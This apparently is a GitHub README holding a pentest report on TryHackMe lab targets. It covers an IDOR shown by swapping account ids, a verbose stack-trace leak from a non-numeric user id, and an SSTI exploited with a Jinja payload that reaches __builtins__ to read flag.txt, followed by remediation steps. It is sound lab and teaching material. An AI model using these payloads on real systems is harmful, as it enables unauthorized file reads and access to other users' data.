Skip to content

Navigation Menu

Sign in
Sign up

Repository files navigation

Web Application Penetration Testing Report

Standard: OWASP Top 10 Framework
Prepared By: MD. Ridoy Hossain
Status: Completed


Executive Summary

A comprehensive Web Application Vulnerability Assessment was conducted to evaluate target endpoints against real-world threats. The assessment strictly adhered to OWASP Top 10 standards.

Three key vulnerabilities were identified: IDOR, Verbose Error Disclosure, and SSTI.


Findings Summary

ID Vulnerability Name Category Severity
VULN-01 IDOR Access Control High
VULN-02 Verbose Error Disclosure Misconfiguration Medium
VULN-03 Template Injection (SSTI) Injection Critical

Detailed Findings & PoC

1. Insecure Direct Object Reference (IDOR)

  • Vulnerability Type: IDOR
  • OWASP Category: Broken Access Control
  • Severity: High
  • Target Endpoint:
    https://bank.thm/accounts?id={account_id}

Steps to Reproduce

  1. Baseline URL: https://bank.thm/accounts?id=5
  2. Tampered parameter from 5 to 7:
    GET /accounts?id=7 HTTP/1.1
    Host: bank.thm
  3. Retrieved flag: THM{Found.the.Millionare!}

2. Verbose Error Information Disclosure

  • Vulnerability Type: Improper Error Handling
  • OWASP Category: Security Misconfiguration
  • Severity: Medium
  • Target Endpoint:
    http://10.49.156.23:5002/api/user/{user_id}

Steps to Reproduce

  1. Standard request: GET /api/user/123
  2. Non-numeric payload: GET /api/user/L
  3. Leaked stack trace and flag: THM{V3RB0S3_3RR0R_L34K}

3. Server-Side Template Injection (SSTI)

  • Vulnerability Type: SSTI
  • OWASP Category: Injection
  • Severity: Critical
  • Target Endpoint: http://10.49.156.23:8000

Steps to Reproduce

  1. Tested evaluation: {{7*7}} (Rendered 49)
  2. Exploited via multi-line Python reflection payload:
    {{ request.application
     .__globals__
     .__builtins__
     .open('flag.txt').read() }}
  3. Extracted flag: THM{SSTI_FLAG_OBTAINED}

Remediation Roadmap

  • Access Control: Enforce object-level authorization using secure UUIDs.
  • Error Handling: Disable debug mode in production environments.
  • Template Security: Use static template rendering via render_template().

Author

MD. Ridoy Hossain
Cybersecurity Specialist & Ethical Hacker

About

Web Application Penetration Testing Reports & Bug Bounty Write-ups

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

AltStyle によって変換されたページ (->オリジナル) /